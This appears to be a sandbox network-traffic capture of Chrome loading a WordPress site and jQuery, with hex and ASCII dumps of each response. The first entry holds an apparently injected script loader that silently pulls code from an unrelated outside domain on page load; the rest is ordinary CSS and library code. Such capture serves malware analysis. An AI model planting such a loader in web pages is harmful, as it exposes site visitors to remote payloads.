2024-10-07 12:10:11 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49728	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	619	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	253	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 392 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:12 UTC	392	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 2f 2a 20 49 6d 70 6f 72 74 20 69 63 6f 6e 20 66 6f 6e 74 20 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 66 6f 6e 74 2d 6c 69 67 68 74 63 61 73 65 2e 63 73 73 29 3b 0a 0a 2f 2a 20 49 6d 70 6f 72 74 20 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) // Import icon font /@import url(font-lightcase.css);/ Import

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49729	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	669	OUT	GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:34 GMT Accept-Ranges: bytes Content-Length: 4305 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:12 UTC	4305	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6f 6e 74 65 6c 6c 6f 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 65 6f 74 3f 39 36 39 33 39 31 37 39 27 29 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 65 6f 74 3f 39 36 39 33 39 31 37 39 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 77 6f 66 66 3f 39 36 39 33 39 31 37 39 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 74 Data Ascii: @font-face { font-family: 'fontello'; src: url('../font/fontello.eot?96939179'); src: url('../font/fontello.eot?96939179#iefix') format('embedded-opentype'), url('../font/fontello.woff?96939179') format('woff'), url('../font/fontello.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49730	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	592	OUT	GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	268	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 10 Mar 2021 20:56:59 GMT Accept-Ranges: bytes Content-Length: 2490 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:12 UTC	2490	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 76 61 72 20 53 55 43 43 45 53 53 5f 53 54 41 54 55 53 20 3d 20 22 6d 61 69 6c 5f 73 65 6e 74 22 3b 0a 20 20 76 61 72 20 41 4a 41 58 5f 41 43 54 49 4f 4e 20 3d 20 22 67 65 74 44 6f 77 6e 6c 6f 61 64 42 75 74 74 6f 6e 22 3b 0a 20 20 76 61 72 20 53 55 50 50 4f 52 54 45 44 5f 56 45 52 53 49 4f 4e 53 20 3d 20 5b 34 2c 20 35 5d 3b 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 77 61 72 6e 56 65 72 73 69 6f 6e 28 76 65 72 73 69 6f 6e 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 0a 20 20 20 20 20 20 22 5b 43 46 37 20 47 41 54 45 44 20 43 4f 4e 54 45 4e 54 5d 3a 20 54 68 69 73 20 76 65 72 73 69 6f 6e 20 6f 66 20 43 46 37 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3a 20 22 20 2b 20 76 65 72 73 Data Ascii: (function ($) { var SUCCESS_STATUS = "mail_sent"; var AJAX_ACTION = "getDownloadButton"; var SUPPORTED_VERSIONS = [4, 5]; function warnVersion(version) { console.warn( "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + vers

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49731	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:12 UTC	698	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 1424 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:12 UTC	1424	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6c 69 67 68 74 63 61 73 65 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6c 69 67 68 74 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */@font-face { font-family: 'lightcase'; src: url('../fonts/light

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49732	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:12 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 4643 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:12 UTC	4643	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 7b 0a 0a 09 2f 2a 20 4f 76 65 72 6c 61 79 20 2a 2f 0a 09 23 6c 69 67 68 74 63 61 73 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 6e 6f Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) /@media screen {/ Overlay */#lightcase-overlay {display: no

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49733	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:12 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:12 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 4273 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:12 UTC	4273	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 2f 2a 20 52 65 64 75 63 65 64 20 6c 61 79 6f 75 74 20 66 6f 72 20 73 6d 61 6c 6c 20 64 65 76 69 63 65 73 20 2a 2f 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) // Reduced layout for small devices */@media screen and (max-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49736	151.101.130.137	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:12 UTC	370	OUT	GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 95957 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-176d5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2266875 Date: Mon, 07 Oct 2024 12:10:13 GMT X-Served-By: cache-lga21923-LGA, cache-ewr-kewr1740021-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1728303013.440904,VS0,VE1 Vary: Accept-Encoding
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 33 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 35 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e Data Ascii: /! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a win
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 7c 7c 7b 7d 2c 68 2b 2b 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 6d 2e 69 73 46 75 6e 63 74 69 6f 6e 28 67 29 7c 7c 28 67 3d 7b 7d 29 2c 68 3d 3d 3d 69 26 26 28 67 3d 74 68 69 73 2c 68 2d 2d 29 3b 69 3e 68 3b 68 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 29 29 66 6f 72 28 64 20 69 6e 20 65 29 61 3d 67 5b 64 5d 2c 63 3d 65 5b 64 5d 2c 67 21 3d 3d 63 26 26 28 Data Ascii: tion(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]\|\|{},h++),"object"==typeof g\|\|m.isFunction(g)\|\|(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 61 63 65 28 6f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 70 2c 71 29 7d 2c 6e 6f 64 65 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 30 2c 66 3d 61 2e 6c 65 6e 67 74 68 2c 67 3d 72 28 61 29 3b 69 66 28 63 29 7b 69 66 28 67 29 7b 66 6f 72 28 3b 66 3e 65 3b 65 2b 2b 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c 63 29 2c 64 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 65 20 69 6e 20 61 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c Data Ascii: ace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2b 6e 65 77 20 44 61 74 65 7d 2c 73 75 70 70 6f 72 74 3a 6b 7d 29 2c 6d 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 68 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 76 61 72 20 62 3d 22 6c 65 6e 67 74 68 22 69 6e 20 61 26 26 61 2e 6c 65 6e 67 74 68 2c 63 3d 6d 2e 74 79 70 65 28 61 29 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 63 7c 7c 6d 2e 69 73 57 69 Data Ascii: nction(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b="length"in a&&a.length,c=m.type(a);return"function"===c\|\|m.isWi
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4d 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4d 2e 72 65 70 6c 61 63 65 28 22 77 22 2c 22 77 2a 22 29 2b 22 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4f 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 50 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4c 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4c 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4c 2b 22 2a 28 5c 5c 64 2b Data Ascii: ASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+L+"(even\|odd\|(([+-]\|)(\\d)n\|)"+L+"(?:([+-]\|)"+L+"*(\\d+
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 26 26 68 2e 69 64 3d 3d 3d 6a 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 68 29 2c 64 7d 65 6c 73 65 7b 69 66 28 66 5b 32 5d 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 29 2c 64 3b 69 66 28 28 6a 3d 66 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 6a 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 73 3d 72 3d 75 2c 77 3d 62 2c 78 3d 31 21 3d 3d 6b 26 26 61 2c 31 3d 3d 3d 6b 26 26 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 Data Ascii: &&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q\|\|!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName
